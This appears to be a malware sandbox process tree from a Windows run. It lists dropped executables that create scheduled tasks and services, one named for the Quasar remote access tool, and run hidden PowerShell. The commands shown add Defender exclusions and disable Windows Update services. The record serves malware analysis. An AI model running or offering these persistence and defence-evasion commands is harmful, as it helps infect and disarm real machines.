C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1440240835890" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=1968,i,7058230758081927675,98426350318168257,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3256 /prefetch:16⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1440240835890" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=1968,i,7058230758081927675,98426350318168257,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3300 /prefetch:16⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1440240835890" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=1968,i,7058230758081927675,98426350318168257,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3632 /prefetch:16⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1440240835890" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=1968,i,7058230758081927675,98426350318168257,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3660 /prefetch:26⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1440240835890" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=1968,i,7058230758081927675,98426350318168257,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4300 /prefetch:26⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --log-level=3 --headless=new5⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge6908240851156 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge6908240851156\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x230,0x234,0x238,0x22c,0x2a8,0x7ffb1237c188,0x7ffb1237c194,0x7ffb1237c1a06⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2224,i,17402541491174684670,12428642142469065995,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2356 /prefetch:36⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --headless=new --noerrdialogs --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --field-trial-handle=2224,i,17402541491174684670,12428642142469065995,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2220 /prefetch:26⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2224,i,17402541491174684670,12428642142469065995,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2528 /prefetch:86⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2224,i,17402541491174684670,12428642142469065995,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2724 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=2224,i,17402541491174684670,12428642142469065995,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3532 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --field-trial-handle=2224,i,17402541491174684670,12428642142469065995,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3668 /prefetch:26⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --field-trial-handle=2224,i,17402541491174684670,12428642142469065995,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3804 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --field-trial-handle=2224,i,17402541491174684670,12428642142469065995,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3712 /prefetch:26⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --field-trial-handle=2224,i,17402541491174684670,12428642142469065995,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3888 /prefetch:26⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --field-trial-handle=2224,i,17402541491174684670,12428642142469065995,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4156 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --field-trial-handle=2224,i,17402541491174684670,12428642142469065995,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4232 /prefetch:26⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --field-trial-handle=2224,i,17402541491174684670,12428642142469065995,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3488 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --headless=new --noerrdialogs --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --field-trial-handle=2224,i,17402541491174684670,12428642142469065995,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4656 /prefetch:26⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2224,i,17402541491174684670,12428642142469065995,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2648 /prefetch:36⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2224,i,17402541491174684670,12428642142469065995,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3420 /prefetch:86⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2224,i,17402541491174684670,12428642142469065995,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4800 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --field-trial-handle=2224,i,17402541491174684670,12428642142469065995,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=5128 /prefetch:26⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --always-read-main-dll --field-trial-handle=2224,i,17402541491174684670,12428642142469065995,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=5384 /prefetch:26⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --field-trial-handle=2224,i,17402541491174684670,12428642142469065995,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=5516 /prefetch:26⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --always-read-main-dll --field-trial-handle=2224,i,17402541491174684670,12428642142469065995,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=5660 /prefetch:26⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --always-read-main-dll --field-trial-handle=2224,i,17402541491174684670,12428642142469065995,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3880 /prefetch:26⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\9z7BGnRGpgs8cZv7.exe9z7BGnRGpgs8cZv7.exe4⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn "UpdateManager_3a76" /tr "C:\Users\Admin\AppData\Local\AppData\Cache\1EDB5E01\MicroUpdate94a5a4.exe" /sc minute /mo 1 /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Local\AppData\Cache\1EDB5E01\MicroUpdate94a5a4.exe"C:\Users\Admin\AppData\Local\AppData\Cache\1EDB5E01\MicroUpdate94a5a4.exe"5⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /query /tn "UpdateManager_3a76"6⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn "UpdateManager_3a76" /tr "C:\Users\Admin\AppData\Local\AppData\Cache\1EDB5E01\MicroUpdate94a5a4.exe" /sc minute /mo 1 /f6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_77b5757ae75eb20b.exefile_77b5757ae75eb20b.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_851477f5539ff9f4.exefile_851477f5539ff9f4.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\qrj3292.exeqrj3292.exe4⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\gM9anpOuZNKX8zHj.exegM9anpOuZNKX8zHj.exe4⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn "UpdateWatch_da78" /tr "C:\Users\Admin\AppData\Roaming\Logs74ED\NetServicea276a.exe" /sc minute /mo 1 /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_3a1cc00092af29d0.exefile_3a1cc00092af29d0.exe4⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\a\test.vbs"5⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn ondlrvess5556 /tr "wscript.exe 'C:\Users\Admin\AppData\Local\Temp\ondlrvesxx.vbs'" /sc minute /mo 25 /f6⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\907368248.vbs"6⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\907368248.ps1"7⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Windows\SysWOW64\wscript.exeC:\Windows\System32\wscript.exe //B "C:\Users\Admin\AppData\Local\Temp\a\test.vbs"5⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn ondlrvess5556 /tr "wscript.exe 'C:\Users\Admin\AppData\Local\Temp\ondlrvesxx.vbs'" /sc minute /mo 25 /f6⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\680390709.vbs"6⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\680390709.ps1"7⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\svc.exesvc.exe4⤵
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" create WinUpdateHelper binPath= "\"C:\ProgramData\Microsoft\Windows Update Helper\msvc.exe\"" start= auto DisplayName= "Windows Update Helper Service"5⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" description WinUpdateHelper "Manages Windows Update helper components"5⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\UpdateService' -ErrorAction SilentlyContinue"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" start WinUpdateHelper5⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\6eq5gvOfRvNmCi54.exe6eq5gvOfRvNmCi54.exe4⤵
-
C:\Users\Admin\AppData\Local\System\Backup\C167F18B\NetUpdate24f66f.exe"C:\Users\Admin\AppData\Local\System\Backup\C167F18B\NetUpdate24f66f.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\s0907.exes0907.exe4⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /create /tn "SecurityHealthService" /xml "C:\Users\Admin\AppData\Local\Temp\~st0E5A655C.xml" /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /create /tn "WindowsSecurityHealth" /xml "C:\Users\Admin\AppData\Local\Temp\~st0E5A99A4.xml" /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /create /sc HOURLY /mo 7 /tn "WindowsSecurityHealth" /tr "C:\Users\Admin\AppData\Local\Temp\a\s0907.exe" /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_bec865d8acfd0630.exefile_bec865d8acfd0630.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\app.exeapp.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\mKM65Cf6QNqeOVw9.exemKM65Cf6QNqeOVw9.exe4⤵
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" delete "CheckManagerAgent_f549"5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" create "CheckManagerAgent_f549" binpath= "C:\ProgramData\MicrosoftLogsBEBD9AC8\SoftUpdateb320.exe" start= "auto"5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" start "CheckManagerAgent_f549"5⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\s.exes.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\ven9392.exeven9392.exe4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Wihnup" /tr '"C:\Users\Admin\AppData\Local\Temp\Wihnup.exe"' & exit5⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "Wihnup" /tr '"C:\Users\Admin\AppData\Local\Temp\Wihnup.exe"'6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpFCE6.tmp.bat""5⤵
- Executes a command shell one-liner
-
C:\Windows\system32\timeout.exetimeout 36⤵
- Delays execution with timeout.exe
-
-
C:\Users\Admin\AppData\Local\Temp\Wihnup.exe"C:\Users\Admin\AppData\Local\Temp\Wihnup.exe"6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_73ed34a7752ecb3a.exefile_73ed34a7752ecb3a.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-K08RH.tmp\file_73ed34a7752ecb3a.tmp"C:\Users\Admin\AppData\Local\Temp\is-K08RH.tmp\file_73ed34a7752ecb3a.tmp" /SL5="$20542,11357099,121344,C:\Users\Admin\AppData\Local\Temp\a\file_73ed34a7752ecb3a.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\is-R4LHP.tmp\Da_L.exe"C:\Users\Admin\AppData\Local\Temp\is-R4LHP.tmp\Da_L.exe"6⤵
-
C:\ProgramData\JAVAkubernetes_v4\Da_L.exeC:\ProgramData\JAVAkubernetes_v4\Da_L.exe7⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\wrm.exewrm.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\a\wrm.exewrm.exe5⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"6⤵
- Executes a command shell one-liner
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_b74843ad95bef0e9.exefile_b74843ad95bef0e9.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\sx0e5aa50b.exe"C:\Users\Admin\AppData\Local\Temp\sx0e5aa50b.exe"5⤵
-
-
-
-
C:\Windows\SysWOW64\DWWIN.EXE"C:\Windows\SysWOW64\DWWIN.EXE"3⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"4⤵
-
-
-
C:\Windows\SysWOW64\TCPSVCS.EXE"C:\Windows\SysWOW64\TCPSVCS.EXE"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\corvus_1787648496.exe"C:\Users\Admin\AppData\Local\Temp\corvus_1787648496.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\corvus_1787648496.exe"C:\Users\Admin\AppData\Local\Temp\corvus_1787648496.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\corvus_1787653482.exe"C:\Users\Admin\AppData\Local\Temp\corvus_1787653482.exe"2⤵
-
-
C:\Windows\system32\notepad.exeC:\Windows\system32\notepad.exe2⤵
-
-
C:\Windows\System32\nslookup.exe"C:\Windows\System32\nslookup.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:UserProfile -Force3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:ProgramData -Force3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:TEMP -Force3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension '.exe' -Force3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension '.sys' -Force3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionProcess 'nslookup.exe' -Force3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionProcess 'svchost.exe' -Force3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-Object System.Security.AccessControl.RegistryAccessRule($admin,'FullControl','Allow');$acl.SetAccessRule($rule);Set-Acl $key $acl;Set-ItemProperty $key -Name 'Start' -Value 4 -Type DWord3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WaaSMedicSvc start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WaaSMedicSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config UsoSvc start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop UsoSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" "HKLM\SYSTEM\CurrentControlSet\Services\zconvmlhvs" /s /f3⤵
-
-
